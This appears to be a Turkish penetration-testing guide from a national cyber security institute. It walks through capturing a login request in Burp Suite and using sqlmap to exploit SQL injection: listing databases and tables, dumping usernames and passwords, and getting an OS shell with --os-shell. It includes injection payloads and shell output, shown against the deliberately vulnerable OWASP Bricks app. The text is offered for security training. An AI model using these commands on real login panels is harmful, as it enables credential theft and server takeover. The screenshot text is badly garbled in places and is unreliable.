

# WEB LOGIN PANEL'DEN SHELL ALMA

SÜRÜM 1.0

2020

<u>Hazırlayan</u> Hasan Fatih ŞİMŞEK <fatih.simsek@tubitak.gov.tr> Siber Güvenlik Enstitüsü

> P.K. 74, Gebze, 41470 Kocaeli, TÜRKİYE Tel: (0262) 648 1000 Faks: (0262) 648 1100 http://www.bilgem.tubitak.gov.tr http://www.bilgiguvenligi.gov.tr teknikdok@tubitak.gov.tr

# İÇİNDEKİLER

WEB LOGIN PANEL'DEN SHELL ALMA	. 3
Şartlar	. 3
Adimlar	. 3
#1 Burpsuite ile Bir Login Ekrandaki Gönderilen Paketi Alma #2 SQLi Açıklığını Tespit Etme ve Sömürme #3 SQLi Açıklığı Yoluyla Geçerli Bir Login Panel Kullanıcı Adını Alma ve Shell'e Geçme	.3 .3 .3
UYGULAMA	. 4
#1 Burpsuite ile Bir Login Ekrandaki Gönderilen Paketi Alma	.4
#2 SQLİ AÇIKLIĞINI TESPİT ETME VE SÖMÜRME	. 8
#3 SQLi Açıklığı Yoluyla Geçerli Bir Login Panel Kullanıcı Adını Alma ve Shell'e Geçme	11
EKSTRA	15
KAYNAKLAR	15

// Tablo adlarını sıralar.

# WEB LOGIN PANEL'DEN SHELL ALMA

Domain'ci ve Network'çü arkadaşların otomatik taramalar sırasında rast geldikleri intranet web uygulama login ekranları için login ekran'dan shell'e uzanan bir metot aşağıda sunulmuştur.

## Şartlar

\* Web uygulama login ekranındaki kullanıcı adı metin kutusunda veya parola metin kutusunda veya herhangi bir başka girdi alanında sql enjeksiyonu açıklığı var olmalı

- \* Web uygulama sql enjeksiyonu önleyici Bir IPS/WAF ürünleri ile korunmuyor olmalı
- \* Web uygulama dizinleri write (yazma) iznine sahip olmalı

## Adımlar

#1 Burpsuite ile Bir Login Ekrandaki Gönderilen Paketi Alma

request.txt

#2 SQLi Açıklığını Tespit Etme ve Sömürme

> sqlmap -r request.txt --dbs --level 5 --risk 3 // Veritabanı adlarını sıralar.

> sqlmap -r request.txt -D veritabaniAdi --tables

> sqlmap -r request.txt -D veritabaniAdi -T tabloAdi --columns // Kolon adlarını sıralar.

> sqlmap -r request.txt -D veritabaniAdi -T tabloAdi -C kolonAdi1,kolonAdi2 --dump // İçeriği sunar

#3 SQLi Açıklığı Yoluyla Geçerli Bir Login Panel Kullanıcı Adını Alma ve Shell'e Geçme

request.txt dosyasındaki username v.b. parametre önceki sqli saldırılarından elde edilen ve –dump ile ekrana basılan geçerli bir kullanıcı adıyla güncellenmeli. Böylece --os-shell başarılı çalışacaktır.

> sqlmap -r "request(guncellenmis).txt" --os-shell

os-shell> whoami

ubuntu

os-shell> uname -a

'Linux 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:00:10 UTC 2014 x86\_64 x86\_64 GNU/Linux'

os-shell>

# UYGULAMA

(\*) OWASP Bricks adlı kasıtlı zafiyetlere sahip web uygulama üzerinde login panel'den sql enjeksiyonu yoluyla shell alma uygulanmıştır.

# #1 Burpsuite ile Bir Login Ekrandaki Gönderilen Paketi Alma



				Burp Suite Community	y Edition v1.7.36 - '	Temporary Projec	t				
1 ntruder Rep	epeater Wind	ow Help									
rge: Proxy	Spider Sca	anner Í Intru	2 Repeater S	Sequencer Decoder C	omparer   Extender	Project options	User options	Alerts			
ercept HTTP	history We	bSockets hist	tory Options								
Proxy Lis	steners										
Burp Pr	ses listener	s to receive ir	ncoming HTTP requ	uests from your browser.	You will need to conf	igure your browser	to use one of th	ne listener	s as its proxy	server.	
					t						
Add	Running	127.0.0.1:	Invisible 3082	Redirect	Per-host						
Edit		12/10/01/1			1 61 11050						
Remove						•					
Each installa	ation of Burp	generates its	own CA certificate	e that Proxy listeners can	i use when negotiatir	ng SSL connections	. You can impor	t or expor	t this certifica	ate for use in o	ther
LOUIS OF ALLO	Juner Installa	ion or burp.									
Import / e	export CA cer	tificate	egenerate CA cert	tificate							
porcio	support of reer	cincate   In	egenerate erreert								
port / c	support of teel	tineate in	egenerate en ten								
Intercent	t Client De										
Intercept	t Client Re	quests									
Intercept Use these s	t Client Re settings to co	quests	quests are stalled	for viewing and editing in	the Intercept tab.						
Use these s	t Client Re settings to co	quests ntrol which re ased on the fo	quests are stalled	for viewing and editing in ster interception is turned	n the Intercept tab.						
Intercept Use these s ☑ Intercept	t Client Re settings to co ot requests ba Enabled	quests introl which re ased on the fo	quests are stalled ollowing rules: Mas	for viewing and editing in ster interception is turned Relationship	n the Intercept tab. off Condition		1				
Intercept Use these s ✓ Intercept Add	t Client Re settings to co ot requests ba	quests ontrol which re ased on the fo	quests are stalled illowing rules: Mas Match type File extension	I for viewing and editing in ster interception is turned Relationship Does not match	n the Intercept tab. off Condition (^gifş ^jpgş ^pg	ng\$ ^css\$ ^js\$					
Intercept Use these s ☑ Intercept Add Edit	t Client Re settings to co ot requests ba	quests introl which re assed on the for Operator	quests are stalled ollowing rules: Mas Match type File extension Request	I for viewing and editing in ster interception is turned Relationship Does not match Contains parameters	the intercept tab.	ng\$ ^css\$ ^js\$					
Intercept Use these s ✓ Intercept Add Edit Remove	t Client Re settings to co trequests ba Enabled	quests Introl which re ased on the for Operator Or Or And	quests are stalled ollowing rules: Mas Match type File extension Request HTTP method	d for viewing and editing in ter interception is turned Relationship Does not match Contains parameters Does not match Is in tarret scone	n the Intercept tab. off Condition (^gifs]^jpg\$ ^pu (get[post)	ng\$ ^css\$ ^js\$					
Intercept Use these s Intercept Add Edit Remove	t Client Re settings to co trequests bi	quests Introl which re ased on the fo Operator Or Or And	quests are stalled ollowing rules: <i>Mas</i> Match type File extension Request HTTP method URL	I for viewing and editing in iter interception is turned Relationship Does not match Contains parameters Does not match Is in target scope	n the Intercept tab. off Condition (^gif\$ ^jpg\$ ^pr (get post)	ng\$ ^css\$ ^js\$					
Intercept Use these s Intercept Add Edit Remove	t Client Re settings to co ot requests bi	quests introl which re assed on the fo Operator Or Or And	quests are stalled ollowing rules: Mas Match type File extension Request HTTP method URL	for viewing and editing in teer interception is turned Relationship Does not match Contains parameters Does not match Is in target scope	a the intercept tab. off Condition (^gif\$ ^jpg\$ ^pi (get post)	ng\$ ^css\$ ^js\$					
Intercept Use these s Intercept Add Edit Remove Up Down	t Client Re settings to co ot requests bi Enabled	quests introl which re- assed on the for Operator Or Or And	quests are stalled Illowing rules: Mass Match type File extension Request HTTP method URL	f for viewing and editing in iter interception is turned Relationship Does not match Contains parameters Does not match Is in target scope	the Intercept tab. off Condition (~gifşi^jpgşi^pi (get post)	ng\$ ^css\$ ^js\$					
Intercept Use these s Intercept Add Edit Up Down	t Client Re settings to co ot requests ba	quests introl which re ased on the fo Operator Or And	quests are stalled ollowing rules: Mas Match type File extension Request HTTP method URL	d for viewing and editing in the interception is turned Relationship Does not match Contains parameters Does not match Is in target scope	h the Intercept tab. off Condition (^gifşi^jpgşi^pr (get]post)	ng\$ ^css\$ ^js\$					
Intercept Use these s Intercept Add Edit Remove Up Down	t Client Re settings to co tr requests bi Enabled	quests ntrol which re ased on the fo Operator Or And sing or superf	quests are stalled ollowing rules: Mass Match type File extension Request HTTP method URL	I for viewing and editing in the interception is turned Relationship Contains parameters Does not match Is in target scope end of request	the intercept tab. off Condition (^gifş[^jpg\$]^pi (get]post)	ng\$ ^css\$ ^js\$					
Intercept Use these s Intercept Add Edit Remove Up Down Automat V Automat	t Client Re settings to co trequests bi Enabled	quests introl which re ased on the fo Operator Or Or And sing or superl content-Ler	quests are stalled sllowing rules: Mas Match type File extension Request HTTP method URL fluous new lines at gth header when t	d for viewing and editing in iter interception is turned Relationship Does not match Contains parameters Does not match Is in target scope	the intercept tab.	ng\$ ^css\$ ^js\$					
Intercept Use these s I use these s Add Edit Remove Up Down Automat I Automat	t Client Re settings to co trequests bu Densided treated to co trequests bu Densided treated to co treated ts introl which re ased on the fo Operator Or Or And sing or supert content-Ler	iquests are stalled Illowing rules: Mas Match type File extension Request HTTP method URL	for viewing and editing in iter interception is turned Relationship Does not match Contains parameters Does not match Is in target scope end of request the request is edited	n the Intercept tab. off Condition (~gifş(~jpgş(~pr (get post)	ng\$ ^css\$ ^js\$						
Intercept Use these s Ø Intercept Add Edit Remove Up Down Automat Ø Automat	t Client Re settings to co ot requests bu Enabled	quests introl which re ased on the fo Operator Or Or And sing or superle content-Len	quests are stalled Illowing rules: Mas Match type File extension Request HTTP method URL Ruous new lines at gth header when t	4 for viewing and editing in ther interception is turned Relationship Does not match Does not match Is in target scope end of request the request is edited	h the Intercept tab. Condition ( ~gft\$ ^pg\$ ^p; (get post)	ng\$ ^css\$ ^js\$	•				
Intercept Use these s Intercept Add Edit Remove Up Down Automat Intercept In	t Client Re settings to co trequests bi Enabled	quests introl which re assed on the for Operator Or Or And sing or super-	quests are stalled blowing rules: Mas Match type File extension Request HTTP method URL fluous new lines at gth header when t	d for viewing and editing in ter interception is turned Relationship Does not match Contains parameters Does not match Is in target scope : end of request the request is edited	n the Intercept tab. off Condition ( grifsi^pgsi^pi (get[post)	ng\$ ^css\$ ^js\$					
Intercept       Use these s       Ø Intercept       Add       Edit       Remove       Up       Down       Automat       Ø Automat       Intercept       Juse these s	t Client Re settings to co Enabled Enabled tically fix mis tically fix mis tically update	quests ntrol which re ased on the fo Operator Or Or And sing or superle content-Len esponses ntrol which re	quests are stalled ollowing rules: Mass Match type File extension Request HTTP method URL fluous new lines at gth header when t	A for viewing and editing in the interception is turned Relationship Does not match Does not match Is in target scope the request is edited and of request the request is edited	n the Intercept tab. off Condition (_get[post) (get[post) in the Intercept tab.	ng\$ ^css\$ ^js\$	•				
Intercept Use these s Intercept Add Edit Remove Up Down Automat Automat Intercept Use these s Intercept	t Client Re settings to cc ot requests bi Enabled U tically fix mis tically update t Server Re settings to cc ot responses	quests ntrol which re ased on the fo Operator Or Or Or And sing or superle content-Ler esponses introl which re based on the	Inducts are stalled following rules: Mass Match type File extension Request HTTP method URL fluous new lines at gth header when t sponses are stalle following rules: Ma	4 for viewing and editing in the interception is turned Relationship Does not match Contains parameters Does not match Is in target scope Is in target scope end of request the request is edited af for viewing and editing aster interception is turne	n the Intercept tab. Condition ( ℃gf\$ ^pg\$ ^p (get[post) in the Intercept tab.	ng\$[^css\$[^js\$]					
Intercept Use these s Intercept Add Edit Remove Up Down Automat Matomat Use these s Intercept Add Lown Automat	t Client Re settings to co tr requests bu Enabled tically fix mis tically fix mis tically update t Server Ra settings to co tr responses Enabled	quests ntrol which re ased on the fo Operator Or Or And sing or superf content-Ler esponses introl which re based on the Operator	Inquests are stalled Illowing rules: Mass Match type File extension Request HITP method URL Illouus new lines at gth header when t sponses are stalle following rules: Ma Match type	d for viewing and editing in inter interception is turned Relationship Does not match Contains parameters Does not match Is in target scope Is in target scope	h the Intercept tab. off Condition (cgf\$jpg\$jps (get[post) in the Intercept tab. d off Condition	ng\$ ^css\$ ^js\$	•				





#### TÜBİTAK – BİLGEM – Siber Güvenlik Enstitüsü



		Burp Suit	e Commun	ity Edition	v1.7.36 - T	emporary Proje	ct			
urp Intruder Repeater Window He	lp	Ŷ	Y . Y		Ý.	Ŷ	Ŷ	<u> </u>	)	
Farget Proxy Spider Scanner	Intruder Repeat	er Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts		
ntercept HTTP history WebSock	ets history Option	s								
Request to http://192.168.1.110:	30									
Forward Drop	Intercept is on	Action							Comment this item	
Raw Params Headers Hex										
ST /bricks/login-1/index.php st: 192.168.1.110	HTTP/1.1									
er-Agent: Mozilla/5.0 (X11; L	inux x86_64; rv	:80.0) Gecko/	20100101 F	=irefox/80	.0					
ept-Language: en-US,en;q=0.5	intmit+xmt,apptic	acton/xmc;q=c	.9,1mage/w	webp,*/*;c	=0.8					
ept-Encoding: gzip, deflate tent-Type: application/x-www	/-form-urlencode	d								
tent-Length: 49										
horization: Basic YWRtaW46d0	69rYQ==									
nection: close erer: http://192.168.1.110/b	ricks/login-1/i	ndex.php								
ie: PHPSESSID=tdpbv2h6vin3	1k14nntteaq53									
rname=kullaniciAdi&passwd=pa	irola&submit=Sub	mit								
< + >										0 matc

<pre>Not more report re</pre>		Burp Suite Community Edition v1.7.36 - Temporary Project	e 🛙 😣
	Burp Intruder Repeater Window Help		
Image: The hand is provided in the image: Image	Target Proxy Spider Scanner Intruc	Ser   Repeater   Sequencer   Decoder   Comparer   Extender   Project options   User options	Alerts
<pre>@ Post thy 1002 104 1100 Twee in the first two in the first two in the first two intervention two intervention two intervention the first two intervention the first two intervention the first two intervention the first two intervention the first two intervention the first two intervention the first two intervention the first two intervention the first two intervention the first two intervention the first two intervention the first two intervention the first two intervention the first two intervention the first two interven</pre>	Intercept HTTP history WebSockets hist	tory Options	
	Request to http://192.168.1.110:80		
<pre>implementant ints int class cla</pre>	Forward Drop Inte	ercept is on Action	Comment this item
<pre>bit log log log log log log log log log log</pre>	Raw Params Headers Hey		
<pre>berl: 10:11:10:</pre>	POST /bricks/login-1/index.php HTTP/	1.1	
<pre>dbc letter the the letter the the letter the lette</pre>	Host: 192.168.1.110		1
Kong Langar and A weight of Same Langar and A weight of Same Langar and A weight of Same Langar and A weight of Same Langar and A weight of Same Langar and A weight of Same Langar and A weight of Same Langar and A weight of Same Langar and A weight of Same Langar and A weight of Same Langar and A weight of Same Langar and A weight of Same Langar and A weight of Same Langar and Same	Accept: text/html,application/xhtml+	x85_64; rV:80.0) Geck0/20100101 Firefox/80.0 xml,application/xml;q=0.9,image/webp,*/*;q=0.8	
Development weight of the second of the seco	Accept-Language: en-US,en;q=0.5		
Data status statu Data status status Data status Data status status Data status status Data status status Data stat	Content-Type: application/x-www-form	Send to Spider	
<pre>bit dot bit bit bit bit bit bit bit bit bit bi</pre>	Content-Length: 49 Origin: http://192.168.1.110	Do an active scan	
under tier terber under tier te	Authorization: Basic YWRtaW46dG9rYQ	Send to intruder Ctrl+I	
Date is Provide Transmission Bard & Grouper Bard &	Connection: close Referer: http://192.168.1.110/bricks	Send to Repeater Chirth	
<pre>set add rules at the set add rules in the set add rules in the set add rules at the set</pre>	Cookie: PHPSESSID=tdpbv2h6vin3s1k14r	Send to Comparer	
are non-skul Lucz i Ali (a assochane) Ali Head in Thomas Head in Thomas Copy is all controls of the copy is a march torm Copy is all controls of the copy is a march torm Copy is all controls of the copy is a march torm Copy is all controls of the copy is a march torm Copy is all controls of the copy is	Opgrade-Insecure-Requests: I	Send to Decoder	
The second seco	username=kullaniciAdi&passwd=parola(	Request in browser	
charge tasky encoding cyty UL, Cyty and I contradic Cyty UL, Cyty and I contradic Cyty UL, Cyty and I contradic Cyty UL, Cyty and I contradic Cyty UL, Cyty And Cyty UL, Cyty And Cyty I cy		Change request method	
Cory a cut command Cory a		Change body encoding	
Cory 2 and command Cory 2 and command Do if storage it quests Do if storage it quests Do if storage it quests Do if storage it quests Do if storage it quests Do if storage it quests Do if storage it quests Do if storage it quests Corver de local Ressawe distance Ressawe		Copy URL	
Part de fons fons         Die transcript         Die transcript         Outer transcript         Courte transcript         Provide fons         Courte transcript         Provide fons         Provide fons         Courte transcript         Provide fons         Provide fons         Courte transcript         Provide fons         Provide		Copy as curl command	
See Em Don't Harcept Frequests Don't Harcept Convert stillston URL-encode as you type Citic Copy Citic Copy Citic Copy Citic See To Type a search tem Proper a search tem Proper a search tem Proper thubber Hapber Market to Hypolic Lines Killston Proper to Hypolic Comment Proper to Hypolic Comment Proper to Hypolic Lines Killston Proper to Hypolic Lines Killston Proper to Hypolic Comment Proper to Hypolic Comment		Paste from file	
Don't Marcedor Requests General Statistics Copy Cutic Passage addor help Proy interception help P		Save item	
O office convert sets (co		Don't intercept requests	
Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition vir.2.5 Temporary Virgical     Image: State Command: Edition virgical     Image: State Command: Edition virgical     Image: State Command: Edition virgical     Image: State Command: Edition virgical     Image: State Command: Edition virgical     Image: State Command: Edition virgical     Image: State Command: Edition virgical     Image: State Command: Edition virgical     Image: State Command: Edition virgical     Image: State Command: Edition virgical     Image: State Command: Edition virgical     Image: State Command: Edition virgical		Do intercept	
C copy       Crive         Passage eddor help       Proy interception help         Prov interception help       Ormatches         Burp Statut Ampetater Window Help       Status Status (Crive)         Burge I tortuder Repeater Window Help       Common Provider Repeater Sequencer Decoder Compares Extender Project options Lister options Alarts         Image I move provide Repeater Network       Common Project (Crive)         Provide I tortup / 1/21.08.11.000       Common Project (Crive)         Image I move I teaders Help       Common Project (Crive)         Poor Marcies/Login-1/index.php HTP/L11       Common Project (Crive)         Respit Loging I tortuder Repeater Sequencer Decoder Compares Extender Project options Lister options Alarts         Image I move I teaders Help       Common Project (Crive)         Poor Marcies/Login-1/index.php HTP/L11       Scatus (Crive)         Respit Loging I tortup / Help (Crive)       Action         Common I teaders Help       Common I teaders Help (Crive)         Content-Loging I tortup / Help (Crive)       Action         Content-Loging I tortup / Help (Crive)       Action         Content-Loging I tortup / Help (Crive)       Action         Content-Loging I tortup / Help (Crive)       Action         Content-Loging I tortup / Help (Crive)       Action         Condoid Stude       Content Status / C		URL-encode as you type	
Copy       Crity         Message ddor help       Proy interception help         Image: Ima		Cut Ctrl+X	
Image: Critiv   Message: ddto help   Provi rterception help   Image: the provi rterception help   Image: the provi rterception help   Image: the provide Help Image: the provide Help Image: the		Copy Ctrl+C	
Provi Interception hép         Provi Interception hép         Provi Interception hép         Provi Interception hép         Provi Interception hép         Provi Interception hép         Provi Interception hép         Provi Interception hép         Provi Interception hép         Provi Interception hép         Provi Interception hép         Provi Interception Atton		Paste Ctrl+V	
(registrational processing)     (registrational processin		Message editor help Proxy intercention help	
* * > Type asarch term       0 matches         Bup: Lituder: Repeater: Wordow: Help       ************************************	l	Proxy interceptionnelp	
Improved Property Party Person     Provend Drop mercepti on Action     Power Party Person           Power Party Person                                   <	Burp Intruder Repeater Window Help Target Proxy Spider Scanner Intru	der Repeater Sequencer Decoder Comparer Extender Project options User options	Alerts
<pre>     Request to http://192.168.110.80     Forward Drop Intercept is on Action     Comment this item     @</pre>	Intercept HTTP history WebSockets his	story Options	
Forward Drop Intercept is on Action     Rew Params Headers Hex   POST / Pricks/(Dgin-1/)index.php HTP/1.1 Hest: 192.168.1.100 User-Agent: Nozilla/Sol (N1): Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: test/full.application/Anthalwall.application/xml;q=0.8,image/vebp.**:q=0.8 Accept: test/full.application/xml=xml;q=0.8,image/vebp.**:q=0.8 Befere:: http://full.application/xml=xml;q=0.8,image/vebp.**:q=0.8 Envertee:: http://full.application/xml=xml;q=0.8,image/vebp.**:q=0.8 Befere:: http://full.application/xml=xml;q=0.8,image/vebp.**:q=0.8 Befere:: http://full.application/xml=xml;q=0.8,image/vebp.**:q=0.8 Befere:: http://full.application/xml=xml;q=0.8,image/vebp.**:q=0.8 Befere:: http://full.application/xml=xml;q=0.8,image/vebp.**:q=	Request to http://192.168.1.110:80		
Image Params     Headers       North Params     Headers       North Params     Headers       North Params     Headers       North Params     Headers       North Params     Headers       North Params     Headers       North Params     Headers       North Params     Headers       North Params     Headers       North Params     Headers       North Params     Headers       North Params     Headers       North Params     Headers       Content Length: 40     Choose a file to save to       Content Length: 40     Cok in:       Oright: 100     Downents       Refere:     Headers       Params     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade     Headers       Imparade <td< td=""><td>Forward Drop Inte</td><td>ercept is on Action</td><td>Comment this item</td></td<>	Forward Drop Inte	ercept is on Action	Comment this item
The Vertains     Head Sty Teks       Post     //isolapin-Lindex.php HTTP/1.1       Host:     192.168.1.110       User-Agent:     Noticla/5.0 (X1); Linux X86_64; rv:80.0) Gecko/2010010 Firefox/80.0       Accept:     Lenguis:       Accept:     Lenguis:       Content:     Jp: application/xml:q=0.9, image/webp.*/*; q=0.8       Accept:     Lenguis:       Content:     Jp: application/xml:q=0.5       Accept:     Look in:       Content:     Jp: application/xml:q=0.5       Accept:     Look in:       Content:     Jp: application/xml:q=0.5       Accept:     Look in:       Content:     Jp: application/xml:q=0.9, image/webp.*/*; q=0.8       Accept:     Accept:       Content:     Jp: application/xml:q=0.9, image/webp.*/*; q=0.8       Accept:     Look in:       Content:     Jp: application/xml:q=0.9, image/webp.*/*; q=0.8       Accept:     Look in:       Content:     Jp: application/xml:q=0.9, image/webp.*/*; q=0.8       Content:     Jp: application/xml:q=0.9, image/webp.*/*; q=0.8       Content:     Jp: application/xml:q=0.9, image/webp.*/*; q=0.8       Username=kullanici Adi Spasswd=parolasub     Postop       File Name:     request.txt       File Sign:     Save:       Cancel     Save:			
<pre>class: 192.180.1110 Werksgent: More Signed Sig</pre>	Raw Params Headers Hex	(1.1	
User-Agent: Mozilla/S.0 (XI); Linux X86 64; nr:80.0) Gecko/2010101 Firefox/80.0 Accept: Language: en-US_en;q=0.5 Accept-Language: en-US_en;q=0.5 Accept-triangen; gip1, deflate Content-t-spir: application/x-www-form un Content-t-spir: application/x-spirite username-kullaniciAdi&geaswd=parola&un File Name: request.t.t File Name: request.t.t File Name: spirite application/x-spirite Save: Cancel	Host: 192.168.1.110	/1.1	ŕ
Accept:Language: en.US.en;e0.5 Accept:Type: application/x-www.form.ur/ Content-Language: en.US.en;20.5 Origin: http://192.108.1.110 Authorization: dasa: VRH:atd4dGorQue Feferer: http://192.108.1.110/bricks/Lor Cookie: PPSESSID=tdpb/2h6vin3s1k14ntt Upgrade-Insecure-Requests: 1 username=kullaniciadi6passwd=parolaSubi File Name: request.txt Files of Type: All Files Save Cancel	User-Agent: Mozilla/5.0 (X11; Linux Accent: text/html application/xhtml-	x86_64; rv:80.0) Gecko/20100101 Firefox/80.0	
Accept Encoding: gr1p, deflate Content-Type: application/Y-Werk form un Content-Type: application/Y-Werk form un Content: -Length: 49 Prign: http://192.168.1.110 Authorization: Basic Witkaw46d6r/Qer Concetion: Cose Referen: http://192.168.1.110/bricks/lt Cookie: PreSessDetdpb2/b2/b0/miskl4mtt Uggrade Insecure Requests: 1 username=kullaniciAdi&passwd=parola⊂ File Name: request.txt Files of Type: All Files Save Cancel 2 < + > Type a search term	Accept-Language: en-US,en;q=0.5		
Content:-Lingth: 49 Origin: http://192.108.1.110 Authorization: Basic VNREad48d50r/9c= Refere: http://192.108.1.110/bricks/Lor Concetto:-close Refere: http://192.108.1.110/bricks/Lor Concetto:-close Save Cancel	Accept-Encoding: gzip, deflate Content-Type: application/x-www-form	m-uri Choose a file to save to 😣	
2     >     Type a search term     0 matches	Content-Length: 49	Look In: 👔 hefese	
Concertion: close Referer: http://192.168.1.110/bricks/tor Gookie: PHSSESID=tdpb/2h6vin3sikiAnttr Uggrade-Insecue-Requests: 1 in crunch:3.4 in Crunch:3.4 in Desktop in Hordra-8.8 in Desktop in Deskt	Authorization: Basic YWRtaW46dG9rYQ		
Cookie: PPSESSIDatabov2hovan3siki4mtr Upgrade-Insecure-Requests: 1 username=kullaniciAdi&passwd=parola&suh File Name: request.txt Files of Type: All Files Save: Cancel 2 < + > Type a search term 0 matches	Connection: close Referer: http://192.168.1.110/bricks	Android     Documents	
<pre>vpgrade-Insecure-Requests: 1 username-kullanici Adi &amp; asswd=parola&amp;aub</pre>	Cookie: PHPSESSID=tdpbv2h6vin3s1k14	antte arachni-1.5.1-0.5.12	
username=kullaniciAdi&passwd=parola&ubi File Name: request.txt Files of Type: All Files Save Cancel	Upgrade-Insecure-Requests: 1	Crunch-3.4	
?     Type a search term     0 matches	username=kullaniciAdi&passwd=parola	Ssubn Desktop 😭 hydra-8.8	
File Name: request.td Files of Type: All Files Save: Cancel		•	
Files of Type: All Files		File Name: request.txt	
Save Cancel		Files of Type: All Files	
Save Cancel			
? < + > Type a search term			
? < + > Type a search term 0 matches		Save Cancel	
? < + > Type a search term 0 matches		Save Cancel	
? < + > Type a search term 0 matches		Save	
? < + > Type a search term 0 matches		Save	
? < + > Type a search term 0 matches		Save Cancel	
? < + > Type a search term 0 matches		Save Cancel	
? < + > Type a search term 0 matches		Save Cancel	
? < + > Type a search term 0 matches		Save Cancel	
? < + > Type a search term 0 matches		Save Cancel	
? < + > Type a search term 0 matches		Save Cancel	
e materies		Save Cancel	

# #2 SQLi Açıklığını Tespit Etme ve Sömürme

File Edit View Search Terminal Tabs	Help			
	hereadout a service and the		×	ł
File Edit View Search Terminal Tabs	Help help the second s	3	*	1
File Edit View Search Terminal Tabs H	telp	he/kee@2	201-m10-01411	
colman resumed the following inter	tion point(s) from stored session.	×		The second
Parameter: passwd (POST) Type: boolean-based blind Title: MySQL RIKE boolean-bas Payload: username-deneme&pass Type: AND/OR time-based blind Title: MySQL >> 5.0.12 OR thm Payload: username-deneme%TD Type: boolean-based blind Title: MySQL RIKE boolean-bas Payload: username-deneme* RII Type: AND/OR time-based blind Title: MySQL >> 5.0.12 OR tim Payload: username-deneme* NI	sed blind - WHERE, HAVING, ORDER BY or Wd-deneme' RLIKE (SELECT (CASE WHEN (64 e-based blind wd-deneme' OR SLEEP(S) wTsu&submit=Su sed blind - WHERE, HAVING, ORDER BY or EE (SELECT (CASE WHEN (S056=5056) THEN e-based blind LIEEP(S) tuWG&passwd=deneme&submit=Su	CROUP BY clause H85=6485) THEN 0x646566656665 Johnt GROUP BY clause 0x646566656665 ELSE 0x28 END) Johnt	ELSE 0x28 END)) mUJlåsubmit=Submit )) RFbL&passwd=denene&submit=Submit	
there were multiple injection poi [0] place: POST, parameter: userni [1] place: POST, parameter: passw [q] Quit	its, please select the one to use for f me, type: Single quoted string (defaul , type: Single quoted string	rollowing injections: lt)		
<pre>(18:45:31] [INF0] the back-end DB web server operating system: Linu web application technology: Apach back-end DBRS: MySQL &gt;&gt; 5.0.12 [8:45:33] [INF0] fetching number [8:45:33] [INF0] resumed: 7 [8:45:33] [INF0] resumed: 1 [8:45:33] [INF0] resumed: 1 [8:45:33] [INF0] resumed: 2 [8:45:33]  [1] dromation_schema [1] performance_schema [1] performance_schema [1] physidin [1] secondordersqlinjection [18:45:31] [INF0] fetched data los [1] shutting down at 18:45:31</pre>	<pre>st is mysqu is is mysqu is dubundu 2 2.4.7, PHP 5.5.9 is names of databases ittion_schema min mrdersqlinjection pged to text files under '/home/hefese/</pre>			
bernangsbiller 1 (Kalkill): ~S 🗌				



			Marking well where being -
File Edit Vie	w Search Termina	l Tabs Help	
		Minorphilis/Historianiania	×
<b>T</b>			
Title: I	ND/OR time-base NVSOL >= 5.0.12	OR time-based blind	
Payload	username=dene	ne' OR SLEEP(5) tuWG&passwd=deneme&submit=Submit	
 there were a	multiple inject	on points, please select the one to use for following injections:	
[0] place: I	OST, parameter	username, type: Single quoted string (default)	
[1] place: I	POST, parameter	: passwd, type: Single quoted string	
>			
[18:46:16]	[INFO] the back	end DBMS is MySQL	
web applica	tion technology	A Apache 2.4.7, PHP 5.5.9	
back-end DBI	AS: MySQL >= 5.	).12 	
[18:46:16]	[INFO] resumed:	8	
[18:46:16]	[INFO] resumed:		
[18:46:16] [18:46:16]	[INFO] resumed: [INFO] resumed:	INT(11) Name	
[18:46:16]			
[18:46:16] [18:46:16]	[INFO] resumed: [INFO] resumed:	email varchar(45)	
[18:46:16] [18:46:16]	INFO] resumed: [INFO] resumed:	Varchar(45) Ua	
[18:46:16] [18:46:16]	INFO] resumed: INFO] resumed:	ret varchar(145)	
[18:46:16]			
[18:46:16] [18:46:16]	[INFO] resumed: [INFO] resumed:	Varchar(45) lang	
[18:46:16]	[INFO] resumed:	varchar(45)	
Table: user:	TICKS		
[8 columns]			
Column	Туре		
+			
email	varchar(45)		
idusers	int(11)		
lang   name	varchar(45)		
password	varchar(45)		
ua	varchar(45)		
+		•	
[18:46:16]		data logged to text files under '/home/hefese/.sqlmap/output/192.1	68.1.110'
[*] shuttin	a down at 18:46	16	
[ ] shoccing	, down ac 18.40	10	
and an application			
		to for a state of the later	CONTRACTOR OF CONTRACTOR OF CONTRACTOR OF CONTRACTOR OF CONTRACTOR OF CONTRACTOR OF CONTRACTOR OF CONTRACTOR OF
File Edit View	Search Terminal Tab	s Help	
		Anterniji (C.C. (F. 1993) - X	
and a surgiture of t	:~\$ sqlmap	- request.txt -D bricks - r users -C name, passworddump	



GEÇERLİ BİR KULLANICI ADI SQLI SALDIRISINDAKİ BU NİHAİ ÇIKTIDAN ALINIR. ÖRN; admin.

# #3 SQLi Açıklığı Yoluyla Geçerli Bir Login Panel Kullanıcı Adını Alma ve Shell'e Geçme





Car		Name request(guncellenmis).txt		Q Save
奋		Bitabin		<b>_</b> [7]
	Desktop	Name	Size	Modified 🔺
D	Documents	盲 multiparty-meeting		13 May
4	Downloads	ashcat-2.00		5 Haz
,		eclipse-workspace		22 Haz
99	MUSIC	📄 snap		22 Haz
ø	Pictures	openvpn directory		9 Tem
н	Videos	i lynis		20 Ağu
		VirtualBox VMs Creds		04:05
모	No. of Concession, Name	VirtualBox VMs		04:12
	Otherlarsting	Downloads		12:44
Ŧ				18:21
		Pictules	2760	3 0 52 2008
			5,7 KD	3 OCd 2008
		archyou staiver2 txt	139.9 MB	28 Haz 2018
